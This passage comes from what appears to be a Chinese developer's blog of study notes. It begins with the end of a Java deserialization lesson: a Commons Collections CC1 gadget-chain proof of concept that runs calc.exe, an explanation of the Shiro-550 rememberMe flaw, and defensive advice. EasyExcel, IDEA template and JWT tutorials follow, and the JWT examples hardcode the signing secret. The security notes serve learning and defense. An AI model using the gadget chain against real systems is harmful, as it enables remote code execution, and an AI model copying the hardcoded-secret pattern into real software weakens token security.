throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException { // 构建链式调用 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }); //构建AbstractInputCheckedMapDecorator.MapEntry HashMap map = new HashMap(); map.put("k", "v");//随便给map存一对k-v 否则遍历时map为空 拿不到transformedMap entry Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); for (Map.Entry entry : transformedMap.entrySet()) { entry.setValue("a"); } // 实例化sun.reflect.annotation.AnnotationInvocationHandler Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerconstructor.setAccessible(true); Object annotationInvocationHandler = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap); SeriableUtil.serilize(annotationInvocationHandler, "cc1.bin"); SeriableUtil.unserilize("cc1.bin"); }7.6 其他反序列化漏洞-Shiro5507.6.1 Apache Shiro介绍Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。7.6.2 漏洞原理在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞。7.6.3 攻击流程7.7 如何防范首先,开发者要有安全意识,应该清楚项目使用到的组件是否有漏洞存在,虽然说 Apache-CommonsCollections RCE 漏洞曝光将近两年了,但使用存在漏洞的 3.2.2 之前版本的 web 服务框架依然存在,Apache James 3.0.0 版本的 CVE-2017-12628 漏洞就是还在使用 commons-collections-3.2.1.jar 造成的。其次,需要对开发完的代码进行审计,可以使用相关的代码审计工具,反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控,如下:ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject可以禁用 JVM 执行外部命令(Runtime.exec),因为 Runtime.exec 对于大多数 Java 正常应用来说是不会用到的,但是确是黑客控制Web服务后运行命令的重要方法,因此该手段是 Java Web 防护常用的且有效的手段,如果从攻击者角度看这种防护效果,那就是攻击工具 webshell 只能文件相关操作,无法执行命令。可以通过扩展 SecurityManager 来禁用 Runtime.exec,当触发运行时还可加入报警逻辑,启动应急响应;此外,反序列化漏洞的利用应该更为广泛,思路不应该仅仅局限于远程命令执行漏洞的利用,也存在着系统数据篡改污染的危险,造成系统业务安全问题。参考资料中国蚁剑(antSword)下载、安装、使用教程_攀爬的小白的博客-CSDN博客DVWA 简介及安装 - 知乎 (zhihu.com)文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)_file.islocalupload = true;_Fasthand_的博客-CSDN博客php,文件后缀 phtml 和 php_phtml和php_BenzKuai的博客-CSDN博客文件包含漏洞全面详解_caker丶的博客-CSDN博客远程命令/代码执行漏洞(RCE)总结_远程代码执行漏洞描述怎么写_nigo134的博客-CSDN博客网络安全-RCE(远程命令执行)漏洞原理、攻击与防御_rce漏洞原理-CSDN博客Web漏洞之XSS(跨站脚本攻击)详解 - 知乎 (zhihu.com)XSS漏洞原理、分类、危害及防御_xss的危害及防御方法_sherlynda的博客-CSDN博客Web漏洞之CSRF(跨站请求伪造漏洞)详解 - 知乎 (zhihu.com)漏洞复现篇——CSRF漏洞的利用_csrf漏洞利用_admin-r꯭o꯭ot꯭的博客-CSDN博客什么是CSRF?如何防御CSRF攻击?知了堂告诉你 - 知乎 (zhihu.com)SSRF漏洞(原理、挖掘点、漏洞利用、修复建议) - Saint_Michael - 博客园 (cnblogs.com)正则表达式 _ 内网IP 过滤_内网ip 正则_高达一号的博客-CSDN博客XXE漏洞原理、检测与修复 - Mysticbinary - 博客园 (cnblogs.com)漏洞复现篇——PHP反序列化漏洞_php反序列化漏洞复现_admin-r꯭o꯭ot꯭的博客-CSDN博客php反序列化漏洞复现php反序列化漏洞(万字详解)_php反序列化漏洞利用_永不落的梦想的博客-CSDN博客SQL注入漏洞简介、原理及防护_sql注入的原理,以及为什么会产生sql注入漏洞_景天zy的博客-CSDN博客java反序列漏洞原理分析及防御修复方法_以下哪项是反序列化漏洞防护手段_美创安全实验室的博客-CSDN博客Java 安全之反序列化漏洞 - 知乎 (zhihu.com)Java代码审计:Java反序列化入门之URLDNS链_urldns链的调用过程,并形成urldns链审计报告,并完成反序列化利用_god_Zeo的博客-CSDN博客Java反序列化 — URLDNS利用链分析 - 先知社区 (aliyun.com)DNSLog: DNSLog 是一款监控 DNS 解析记录和 HTTP 访问记录的工具。 (gitee.com)Java反序列化漏洞之Apache Commons Collections - 知乎 (zhihu.com)java反序列化(三)CommonsCollections篇 -- CC1 - h0cksr - 博客园 (cnblogs.com)shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_shiro550原理-CSDN博客Apache Shiro反序列化漏洞-Shiro-550复现总结 - FreeBuf网络安全行业门户
2023年09月26日
168 阅读
0 评论
0 点赞
2023-09-17
EasyExcel学习笔记
1.简介1.1 EasyExcel简介Java解析、生成Excel比较有名的框架有Apache poi、jxl。但他们都存在一个严重的问题就是非常的耗内存,poi有一套SAX模式的API可以一定程度的解决一些内存溢出的问题,但POI还是有一些缺陷,比如07版Excel解压缩以及解压后存储都是在内存中完成的,内存消耗依然很大。easyexcel重写了poi对07版Excel的解析,一个3M的excel用POI sax解析依然需要100M左右内存,改用easyexcel可以降低到几M,并且再大的excel也不会出现内存溢出;03版依赖POI的sax模式,在上层做了模型转换的封装,让使用者更加简单方便2.SpringBoot集成easyexcel2.1 pom依赖<dependency> <groupId>com.alibaba</groupId> <artifactId>easyexcel</artifactId> <version>3.3.2</version> </dependency>2.2 简单使用实体类@Data public class ArticleScoreData { @ExcelProperty("姓名") private String name; @ExcelProperty("文章") private String title; @ExcelProperty("得分") private Double score; }读操作待读取article.xlsx姓名文章得分张三张三的文章87李四李四的文章34王五王五的文章99读操作代码@Test public void testRead() { String pathName = "C:\\Users\\jupiter\\Desktop\\article.xlsx"; // PageReadListener:excel一行一行的回调监听器 EasyExcel.read(pathName, ArticleScoreData.class, new PageReadListener<ArticleScoreData>(dataList -> { for (ArticleScoreData demoData : dataList) { log.info("读取到一条数据{}", "姓名:" + demoData.getName() + " 文章:" + demoData.getTitle() + " 得分:" + demoData.getScore()); } })).sheet().doRead(); }运行结果2023-09-14T21:41:36.957+08:00 INFO 81220 --- [ main] c.e.e.EasyExcelStudyApplicationTests : 读取到一条数据姓名:张三 文章:张三的文章 得分:87.0 2023-09-14T21:41:36.962+08:00 INFO 81220 --- [ main] c.e.e.EasyExcelStudyApplicationTests : 读取到一条数据姓名:李四 文章:李四的文章 得分:34.0 2023-09-14T21:41:36.962+08:00 INFO 81220 --- [ main] c.e.e.EasyExcelStudyApplicationTests : 读取到一条数据姓名:王五 文章:王五的文章 得分:99.0写操作代码@Test public void testWrite() { String xlsxPath = "C:\\Users\\jupiter\\Desktop\\output.xls"; List<ArticleScoreData> dataList = new ArrayList<>(); for (int i = 0; i < 5; i++) { ArticleScoreData data = new ArticleScoreData(); data.setName("姓名" + i) data.setTitle("文章" + i); data.setScore(80.0+i); dataList.add(data); } EasyExcel.write(xlsxPath, ArticleScoreData.class) .sheet("文章得分表") .doWrite(() -> dataList); }运行效果output.xls姓名文章得分姓名0文章080姓名1文章181姓名2文章282姓名3文章383姓名4文章4842.3 单独实现最简单的读的监听器进行文件读取待读取article.xlsx姓名文章得分张三张三的文章87李四李四的文章34王五王五的文章99实体类@Data public class ArticleScoreData { @ExcelProperty("姓名") private String name; @ExcelProperty("文章") private String title; @ExcelProperty("得分") private Double score; }SimpleDataListenerimport cn.hutool.json.JSONUtil; import com.alibaba.excel.context.AnalysisContext; import com.alibaba.excel.metadata.data.ReadCellData; import com.alibaba.excel.read.listener.ReadListener; import com.example.easyexcelstudy.domain.entity.ArticleScoreData; import lombok.extern.slf4j.Slf4j; import java.util.Map; @Slf4j public class SimpleDataListener implements ReadListener<ArticleScoreData> { /** * 解析excel的表头-第一行 */ @Override public void invokeHead(Map<Integer, ReadCellData<?>> headMap, AnalysisContext context) { ReadListener.super.invokeHead(headMap, context); log.info("读取到表头:{}",JSONUtil.toJsonStr(headMap)); } /** * 读取excel的每一行都会调用该方法 */ @Override public void invoke(ArticleScoreData articleScoreData, AnalysisContext analysisContext) { log.info("解析到一条数据:{}", JSONUtil.toJsonStr(articleScoreData)); } /** * 所有数据解析完成了,都会来调用 */ @Override public void doAfterAllAnalysed(AnalysisContext context) { log.info("所有数据解析完成!"); } } test @Test public void testReadBySimpleDataListener() { String xlsxPath = "C:\\Users\\jupiter\\Desktop\\article.xlsx"; EasyExcel.read(xlsxPath,new SimpleDataListener()).sheet().doRead(); } 运行结果2023-09-14T22:39:47.596+08:00 INFO 186196 --- [ main] c.e.e.util.excel.SimpleDataListener : 读取到表头: { "0": { "dataFormatData": { "index": 0, "format": "General" }, "type": "STRING", "stringValue": "姓名", "rowIndex": 0, "columnIndex": 0 }, "1": { "dataFormatData": { "index": 0, "format": "General" }, "type": "STRING", "stringValue": "文章", "rowIndex": 0, "columnIndex": 1 }, "2": { "dataFormatData": { "index": 0, "format": "General" }, "type": "STRING", "stringValue": "得分", "rowIndex": 0, "columnIndex": 2 } } 2023-09-14T22:39:47.689+08:00 INFO 186196 --- [ main] c.e.e.util.excel.SimpleDataListener : 解析到一条数据:{"title":"张三的文章","score":87,"name":"张三"} 2023-09-14T22:39:47.690+08:00 INFO 186196 --- [ main] c.e.e.util.excel.SimpleDataListener : 解析到一条数据:{"title":"李四的文章","score":34,"name":"李四"} 2023-09-14T22:39:47.690+08:00 INFO 186196 --- [ main] c.e.e.util.excel.SimpleDataListener : 解析到一条数据:{"title":"王五的文章","score":99,"name":"王五"} 2023-09-14T22:39:47.691+08:00 INFO 186196 --- [ main] c.e.e.util.excel.SimpleDataListener : 所有数据解析完成!2.4 (★★★)读取超级版本:无需实体类,实现任意excel文件的读取待读取excel文件sheet1sheet2正常情况2 表头1表头2表头3表头4表头5表头1表头2表头3表头4表头5列头1 列头2 列头3 ExcelSheetDataReadListenerpackage com.example.excelstudy.utils.excel; import cn.hutool.json.JSONUtil; import com.alibaba.excel.context.AnalysisContext; import com.alibaba.excel.enums.CellExtraTypeEnum; import com.alibaba.excel.event.AnalysisEventListener; import com.alibaba.excel.metadata.CellExtra; import lombok.extern.slf4j.Slf4j; import java.util.ArrayList; import java.util.List; import java.util.Map; /** * @author LuoJia * @version 1.0 * @description: 万能excel的单个sheet读取Listener * @date 2023/9/15 11:24 */ @Slf4j public class ExcelSheetDataReadListener extends AnalysisEventListener<Map<Integer,String>> { // 表格sheet编号 int sheetNo; // 表格行数 int rowCount=0; // 表格列数 int colCount=0; // 用于存储原生读取到的数据 List<Map<Integer, String>> lineDataList = new ArrayList<>(); // 用于存储表格的合并单元格的区域列表 List<CellExtra> mergeAreaList = new ArrayList<>(); /** * 解析excel的表头-即读取第一行 */ @Override public void invokeHeadMap(Map<Integer, String> headMap, AnalysisContext context) { // 设置不忽略空行 context.readWorkbookHolder().setIgnoreEmptyRow(false); // 获取sheetNo sheetNo = context.readSheetHolder().getSheetNo(); // 更新表格行列数 rowCount += 1; colCount = Math.max(colCount, headMap.size()); // 保存原始的单行数据 lineDataList.add(headMap); //log.info("读取到表头:{}", JSONUtil.toJsonStr(headMap)); } /** * 读取excel的每一行都会调用该方法 */ @Override public void invoke(Map<Integer,String> lineData, AnalysisContext context) { // 更新表格行列数 rowCount += 1; colCount = Math.max(colCount, lineData.size()); // 保存原始的单行数据 lineDataList.add(lineData); //log.info("解析到一条数据:{}", JSONUtil.toJsonStr(lineData)); } /** * 获取合并单元格的范围 */ @Override public void extra(CellExtra extra, AnalysisContext context) { if (extra.getType() != CellExtraTypeEnum.MERGE) { return ; } mergeAreaList.add(extra); } /** * 所有数据解析完成了,都会来调用 */ @Override public void doAfterAllAnalysed(AnalysisContext context) { log.info("============================================================="); log.info("sheet{}-所有数据解析完成!sheet总行数:{},总列数:{}",sheetNo+1,rowCount,colCount); // 处理mergerList--即处理所有的合并单元格 for(CellExtra mergeArea:mergeAreaList){ // 获取填充部分的单元格的有效值 String value = lineDataList.get(mergeArea.getFirstRowIndex()).get(mergeArea.getFirstColumnIndex()); // 对合并单元格的为null值部分的数据进行有效填充 for (int i = mergeArea.getFirstRowIndex(); i <= mergeArea.getLastRowIndex(); i++) { for (int j = mergeArea.getFirstColumnIndex(); j <= mergeArea.getLastColumnIndex(); j++) { // 合并单元格的最最左上角已经被有效填充了,跳过 if(i==mergeArea.getFirstRowIndex()&&j== mergeArea.getFirstColumnIndex()){ continue; } // 对合并单元格的其他单元格进行数据填充 lineDataList.get(i).put(j,value); } } } // 打印表格数据 for (int i = 0; i < rowCount; i++) { log.info("sheet第{}行数据:{}",(i+1),JSONUtil.toJsonStr(lineDataList.get(i))); } log.info("============================================================="); } }test @Test public void testRead() throws FileNotFoundException { String pathName = "C:\\Users\\LuoJia\\Desktop\\test.xlsx"; InputStream inputStream = new FileInputStream(new File(pathName)); // 创建excel读取reader ExcelReader excelReader = EasyExcel.read(inputStream).extraRead(CellExtraTypeEnum.MERGE).ignoreEmptyRow(false).build(); // 创建每个sheet的读取listener并执行读取 List<ReadSheet> readSheets = excelReader.excelExecutor().sheetList(); List<ExcelSheetDataReadListener> listenerList = new ArrayList<>(readSheets.size()); // 用于进行数据和合并单元格区域保存 //读取多个sheet List<ReadSheet> sheetList = readSheets.stream().map(sheet -> { ExcelSheetDataReadListener listener = new ExcelSheetDataReadListener(); ReadSheet readSheet = EasyExcel.readSheet(sheet.getSheetName()).registerReadListener(listener).build(); listenerList.add(listener); return readSheet; }).collect(Collectors.toList()); excelReader.read(sheetList); // 释放资源 excelReader.finish(); }运行结果xxxx: ============================================================= xxxx: sheet1-所有数据解析完成!sheet总行数:10,总列数:6 xxxx: sheet第1行数据:{} xxxx: sheet第2行数据:{"0":"异常情况","1":"异常情况","2":"异常情况","3":"异常情况","4":"异常情况"} xxxx: sheet第3行数据:{"0":"表头1","1":"表头2","2":"表头3","3":"表头4","4":"表头5"} xxxx: sheet第4行数据:{"0":"表头1","1":"表头2","2":"表头3","3":"表头4","4":"表头5"} xxxx: sheet第5行数据:{} xxxx: sheet第6行数据:{} xxxx: sheet第7行数据:{"3":"dasdada","4":"dasdada"} xxxx: sheet第8行数据:{"3":"dasdada","4":"dasdada"} xxxx: sheet第9行数据:{} xxxx: sheet第10行数据:{"5":"saSASA"} xxxx: ============================================================= xxxx: ============================================================= xxxx: sheet2-所有数据解析完成!sheet总行数:2,总列数:5 xxxx: sheet第1行数据:{"0":"正常情况1","1":"正常情况1","2":"正常情况1","3":"正常情况1","4":"正常情况1"} xxxx: sheet第2行数据:{"0":"表头1","1":"表头2","2":"表头3","3":"表头4","4":"表头5"} xxxx: ============================================================= xxxx: ============================================================= xxxx: sheet3-所有数据解析完成!sheet总行数:5,总列数:5 xxxx: sheet第1行数据:{"0":"正常情况1","1":"正常情况1","2":"正常情况1","3":"正常情况1","4":"正常情况1"} xxxx: sheet第2行数据:{"0":"表头1","1":"表头2","2":"表头3","3":"表头4","4":"表头5"} xxxx: sheet第3行数据:{"0":"列头1"} xxxx: sheet第4行数据:{"0":"列头2"} xxxx: sheet第5行数据:{"0":"列头3"} xxxx: =============================================================2.5(★★★)带合并单元格的写入ExcelCustomMergeHandler(处理单元格合并的handler) /** * @author jupiter * @version 1.0 * @description: TODO * @date 2023/9/16 23:01 */ @Data @NoArgsConstructor @AllArgsConstructor @Slf4j public class ExcelCustomMergeHandler implements CellWriteHandler { // 表格行数 int rowCount; // 表格列数 int colCount; // 用于存储表格的合并单元格的区域列表 List<CellExtra> mergeAreaList = new ArrayList<>(); /** * @description: 在单元格被创建之前的处理 * @author jupiter * @date: 2023/9/16 23:12 */ @Override public void beforeCellCreate(WriteSheetHolder writeSheetHolder, WriteTableHolder writeTableHolder, Row row, Head head, Integer columnIndex, Integer relativeRowIndex, Boolean isHead) { CellWriteHandler.super.beforeCellCreate(writeSheetHolder, writeTableHolder, row, head, columnIndex, relativeRowIndex, isHead); } /** * @description: 在单元格被创建之后的处理 * @author jupiter * @date: 2023/9/16 23:12 */ @Override public void afterCellCreate(WriteSheetHolder writeSheetHolder, WriteTableHolder writeTableHolder, Cell cell, Head head, Integer relativeRowIndex, Boolean isHead) { CellWriteHandler.super.afterCellCreate(writeSheetHolder, writeTableHolder, cell, head, relativeRowIndex, isHead); } @Override public void afterCellDispose(WriteSheetHolder writeSheetHolder, WriteTableHolder writeTableHolder, List<WriteCellData<?>> cellDataList, Cell cell, Head head, Integer relativeRowIndex, Boolean isHead) { // 获取当前的单元格 Sheet sheet = writeSheetHolder.getSheet(); // 设置单元格居中 CellStyle cellStyle = cell.getCellStyle(); cellStyle.setAlignment(HorizontalAlignment.CENTER); //log.info("当前处理的单元格序号:{},{}",cell.getRowIndex(),cell.getColumnIndex()); // 在最后一个单元格处理单元格合并 if(cell.getRowIndex()==rowCount-1&&cell.getColumnIndex()==colCount-1){ for(CellExtra mergeArea:mergeAreaList){ CellRangeAddress cellAddresses = new CellRangeAddress(mergeArea.getFirstRowIndex(),mergeArea.getLastRowIndex(),mergeArea.getFirstColumnIndex(),mergeArea.getLastColumnIndex()); log.info("写入添加合并区域:{}", JSONUtil.toJsonStr(mergeArea)); sheet.addMergedRegion(cellAddresses); } } } }test(这里为了避免构建数据直接衔接了2.4用的读取后的数据)@Test public void testCustomWrite() throws FileNotFoundException { String pathName = "C:\\Users\\jupiter\\Desktop\\test.xlsx"; // 创建excel读取reader ExcelReader excelReader = EasyExcel.read(pathName).extraRead(CellExtraTypeEnum.MERGE).ignoreEmptyRow(false).build(); // 创建每个sheet的读取listener并执行读取 List<ReadSheet> readSheets = excelReader.excelExecutor().sheetList(); List<ExcelSheetDataReadListener> listenerList = new ArrayList<>(readSheets.size()); // 用于进行数据和合并单元格区域保存 //读取多个sheet List<ReadSheet> sheetList = readSheets.stream().map(sheet -> { ExcelSheetDataReadListener listener = new ExcelSheetDataReadListener(); ReadSheet readSheet = EasyExcel.readSheet(sheet.getSheetName()).registerReadListener(listener).build(); listenerList.add(listener); return readSheet; }).collect(Collectors.toList()); excelReader.read(sheetList); // 释放资源 excelReader.finish(); // 开始执行excel写入 pathName = "C:\\Users\\jupiter\\Desktop\\testWrite.xlsx"; // 创建excel写入writer ExcelWriter excelWriter = EasyExcel.write(pathName).build(); // 写入多个sheetList for (int i = 0; i < sheetList.size(); i++) { // 单元格总行数 int rowCount = listenerList.get(i).getRowCount(); // 单元格总列数 int colCount = listenerList.get(i).getColCount(); // sheet的逐行数据 List<Map<Integer, String>> lineDataList = listenerList.get(i).getLineDataList(); // 需要合并的单元格区域 List<CellExtra> mergeAreaList = listenerList.get(i).getMergeAreaList(); // 处理单元格合并的handle ExcelCustomMergeHandler writeHandle = new ExcelCustomMergeHandler(rowCount,colCount,mergeAreaList); // 构建sheet写入对象 WriteSheet writeSheet = EasyExcel.writerSheet(i,sheetList.get(i).getSheetName()).registerWriteHandler(writeHandle).build(); // 执行sheet数据写入 excelWriter.write(lineDataList,writeSheet); } // 释放资源 excelWriter.finish(); }执行效果test.xlsxsheet1sheet2testWrite.xlsxsheet1sheet2参考资料EasyExcel官方文档 - 基于Java的Excel处理工具 | Easy Excel (alibaba.com)EasyExcel全面教程快速上手_easeexcel_知春秋的博客-CSDN博客解决EasyExcel工具读取Excel空数据行的问题_easyexcel空行导入问题_流沙QS的博客-CSDN博客EasyExcel导入(含表头验证+空白行读取)_easyexcel导入表头校验_MMO_的博客-CSDN博客阿里的easyExcel_easyexcel aftercelldispose_一直想成为大神的菜鸟的博客-CSDN博客easyexcel导出中自定义合并单元格,通过重写AbstractRowWriteHandler_easyexcel合并单元格策略_阿莫西林的博客-CSDN博客EasyExcel导出自定义合并单元格的策略_我可能在扯淡的博客-CSDN博客
2023年09月17日
251 阅读
0 评论
0 点赞
2023-09-16
idea配置优化-默认maven/自动导包/方法类注释模板
1.配置默认mavenSTEP1:配置本项目File-->Setting配置所有新项目File-->New Projects Setup-->Setting for New Projects...STEP2:2.配置自动导包STEP1:配置本项目File-->Setting配置所有新项目File-->New Projects Setup-->Setting for New Projects...STEP2:3.配置注释3.1 新建类的时候自动添加类注释STEP1:File-->SettingSTEP2:如上图所示添加注释:/** * @description: TODO * @author ${USER} * @date ${DATE} ${TIME} * @version 1.0 */给接口和枚举加上的方式同理。3.2 自定义模版配置(类,方法)按照上图的提示,找到位置1的Live Templates找到位置2,选择下拉框中的Enter选项到位置3点击“+”号,首先选择Template Group,新建一个自己的分组鼠标选中新建的分组,如位置4的ybyGroup,然后在点击位置3的“+”号,选择Live Template给模版添加快捷提示的字符,描述,和模版,比如我这里新增了两个,方法的注释,类注释*在位置5处的Template text里面贴上模版内容在位置6选择应用的范围,一般选择EveryWhere里面的Java就可以了在位置7配置Template Text里面用$修饰的属性,具体配置截图如下:params的default value:groovyScript("def result=''; def params=\"${_1}\".replaceAll('[\\\\[|\\\\]|\\\\s]', '').split(',').toList(); for(i = 0; i < params.size(); i++) {result+='' + params[i] + ((i < params.size() - 1) ? '\\n':'')}; return result", methodParameters())方法注释模版:** * @description: TODO * @param: $params$ * @return: $returns$ * @author $USER$ * @date: $date$ $time$ */ 类注释模版:** * @description: TODO * @author $user$ * @date $date$ $time$ * @version 1.0 */参考资料idea注释模版配置(吐血推荐!!!)_ida注释模板_骑着乌龟漫步的博客-CSDN博客IDEA设置方法注释模板_idea设置注释模板_布丁吖的博客-CSDN博客
2023年09月16日
90 阅读
1 评论
0 点赞
2023-09-05
JWT(JSON Web Token)学习笔记
1.简介1.1 什么是JWT?官网地址: https://jwt.io/introduction/定义: Json Web Token(JWT)是一个开放标准(rfc7519),它定义了一种紧凑的、自包含的方式,用于在各方之间以JSON对象安全地传输信息。此信息可以验证和信任,因为它是数字签名的。 jwt可以使用密钥(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对进行签名通俗解释:JSON Web Token,简称JWT,也就是通过JSON形式作为Web应用中的令牌,用于在各方之间安全地将信息作为JSON对象传输。在数据传输过程中还可以完成数据加密、签名等相关处理。1.2 JWT具体的作用/什么时候使用 JWT ?授权:这是使用 JWT 的最常见方案。用户登录后,每个后续请求都将包含 JWT,允许用户访问该令牌允许的路由、服务和资源。单点登录是当今广泛使用 JWT 的一项功能,因为它的开销很小,并且能够跨不同域轻松使用。信息交换:JSON Web令牌是在各方之间安全传输信息的好方法。由于 JWT 可以签名(例如,使用公钥/私钥对),因此您可以确定发送方就是他们所说的人。此外,由于签名是使用标头和有效负载计算的,因此您还可以验证内容是否未被篡改。1.3 为什么选择了使用JWT1.3.1 基于传统的 Session 认证认证过程http协议本身是一种无状态的协议,这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证,即使验证通过后,那么下一次请求时,用户还要再一次进行用户认证才行,因为根据http协议,我们并不能知道是哪个用户发出的请求,所以为了让我们的应用能识别是哪个用户发出的请求,我们只能在服务器存储一份用户登录的信息,这份登录信息会在响应时传递给浏览器,告诉其保存为cookie,以便下次请求时发送给我们的应用,这样我们的应用就能识别请求来自哪个用户了,这就是传统的基于session认证。存在的问题每个用户经过应用认证之后,应用都要在服务端做一次记录,以方便用户下次请求的鉴别,通常而言session都是保存在内存中,而随着认证用户的增多,服务端的开销会明显增大用户认证之后,服务端做认证记录,如果认证的记录被保存在内存中的话,这意味着用户下次请求还必须要请求在这台服务器上,这样才能拿到授权的资源,这样在分布式的应用上,相应的限制了负载均衡器的能力。这也意味着限制了应用的扩展能力。因为是基于cookie来进行用户识别的, cookie如果被截获,用户就会很容易受到跨站请求伪造的攻击。在前后端分离系统中就更加痛苦,前后端分离在应用解耦后增加了部署的复杂性。通常用户一次请求就要转发多次。如果用session 每次携带sessionid 到服务器,服务器还要查询用户信息。同时如果用户很多,这些信息存储在服务器内存中,给服务器增加负担。还有就是CSRF攻击(跨站伪造请求攻击),session是基于cookie进行用户识别的, cookie如果被截获,用户就会很容易受到跨站请求伪造的攻击。还有就是sessionid就是一个特征值,表达的信息不够丰富,不容易扩展。如果你后端应用是多节点部署。那么就需要实现session共享机制。集群应用的搭建将变得十分困难。1.3.2 基于JWT认证基于JWT认证首先,前端通过Web表单将自己的用户名和密码发送到后端的接口。这一过程一般是一个HTTP POST请求。建议的方式是通过SSL加密的传输(https协议),从而避免敏感信息被嗅探。后端核对用户名和密码成功后,将用户的id等其他信息作为JWT Payload(负载),将其与头部分别进行Base64编码拼接后签名,形成一个JWT(Token)。形成的JWT就是一个形同xxxxx.yyyyy.zzzzz的字符串, token = head.payload.singurater后端将JWT字符串作为登录成功的返回结果返回给前端。前端可以将返回的结果保存在localStorage或sessionStorage上,退出登录时前端删除保存的JWT即可。前端在每次请求时将JWT放入HTTP Header中的Authorization位。(解决XSS和XSRF问题)后端检查是否存在,如存在验证JWT的有效性。例如,检查签名是否正确;检查Token是否过期;检查Token的接收方是否是自己(可选)。验证通过后后端使用JWT中包含的用户信息进行其他逻辑操作,返回相应结果。jwt的优点简洁(Compact): 可以通过URL,POST参数或者在HTTP header发送,由于其数据量小,并不会占用过多带宽自包含(Self-contained):负载中包含了所有用户所需要的信息,避免了多次查询数据库,减轻了数据库的压力因为Token是以JSON加密的形式保存在客户端的,所以JWT是跨语言的,原则上任何web形式都支持。不需要在服务端保存会话信息,特别适用于分布式微服务。2.JWT的结构JWT 由三部分组成2.1 Header(头部)是一个JSON 对象, 描述JWT的元数据,eg:# alg是签名算法,默认是HS256, # typ是token类型,一般JWT默认为JWT { "alg": "HS256", "typ": "JWT" }2.2 载荷-payload是一个JSON 对象, 用来存放实际需要传递的数据,eg:{ "iss": "songshu", "sub": "1234567890", "name": "haha", "admin": true }其中payload官方规定了7个字段:iss (issuer):签发人、 exp (expiration time):过期时间 sub (subject):主题 aud (audience):受众 nbf (Not Before):生效时间 iat (Issued At):签发时间 jti (JWT ID):编号$\color{red}{ 注意:对于已签名的令牌,此信息虽然受到保护以防止篡改,但任何人都可以读取。不要将机密信息放在 JWT 的有效负载或标头元素中,除非它已加密。}$2.3 签名(Signature)signature是对前两部分的签名,防止数据篡改。需要指定一个密钥(secret)这个密钥只有服务器才知道,不能泄露给客户端使用 Header 里面指定的签名算法(例如,如果要使用 HMAC SHA256 算法),按照下面的公式产生签名:HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret)把 Header、Payload、Signature 三个部分拼成一个字符串:Header.Payload.Signature = xxxx.yyy.zzz3.使用JWT3.1 引入jwt依赖<!--引入jwt--> <dependency> <groupId>com.auth0</groupId> <artifactId>java-jwt</artifactId> <version>3.4.0</version> </dependency>3.2 使用测试生成JWT令牌@Test public void testGetJWTToken() { Calendar instance = Calendar.getInstance(); instance.add(Calendar.SECOND, 900);//Calendar.SECOND代表单位为秒 //生成令牌 String token = JWT.create() .withClaim("username", "李四")//设置payload,保存自定义用户名,可设置多个 .withExpiresAt(instance.getTime())//设置过期时间 .sign(Algorithm.HMAC256("jupiter"));//设置加密算法及签名密钥,这里使用了默认的HMAC256 //输出令牌 System.out.println(token); }eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2OTM4OTcyOTUsInVzZXJuYW1lIjoi5p2O5ZubIn0.vO3kvqrFx4AlEs1qnFP7ghFeCIUAXFod4lH3SLhc5RE验证JWT令牌@Test public void testDecodeJWTToken(){ String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2OTM4OTcyOTUsInVzZXJuYW1lIjoi5p2O5ZubIn0.vO3kvqrFx4AlEs1qnFP7ghFeCIUAXFod4lH3SLhc5RE"; JWTVerifier jwtVerifier = JWT.require(Algorithm.HMAC256("jupiter")).build(); DecodedJWT decodedJWT = jwtVerifier.verify(token);//验证token System.out.println("用户名: " + decodedJWT.getClaim("username").asString()); // 存的是时候是什么类型,取得时候就是什么类型,否则取出来的是null。 System.out.println("过期时间: "+decodedJWT.getExpiresAt()); }用户名: 李四 过期时间: Tue Sep 05 15:01:35 CST 20233.3 验证过程中可能会出现的异常SignatureVerificationException: 签名不一致异常:系统中并未签发过该token,一般是恶意用户伪造出来的 TokenExpiredException: 令牌过期异常 AlgorithmMismatchException: 算法不匹配异常:签名算法和验签算法不一致 InvalidClaimException: 失效的payload异常:token无效3.4 封装工具类public class JWTUtils { private static final String SIGNATURE="jupiter";//加密密钥 /** * 生成token header.payload.signatureResult * @param map : 需要保存的payload,也就是用户信息 * @return */ public static String getToken(Map<String,String> map){ Calendar instance = Calendar.getInstance(); instance.add(Calendar.MINUTE,4320);//3天过期 JWTCreator.Builder builder = JWT.create(); //设置payload map.forEach((k,v)->{ builder.withClaim(k,v); }); //设置过期时间 builder.withExpiresAt(instance.getTime()); //设置加密算法和加密密钥 String token = builder.sign(Algorithm.HMAC256(SIGNATURE)); return token; } /** * 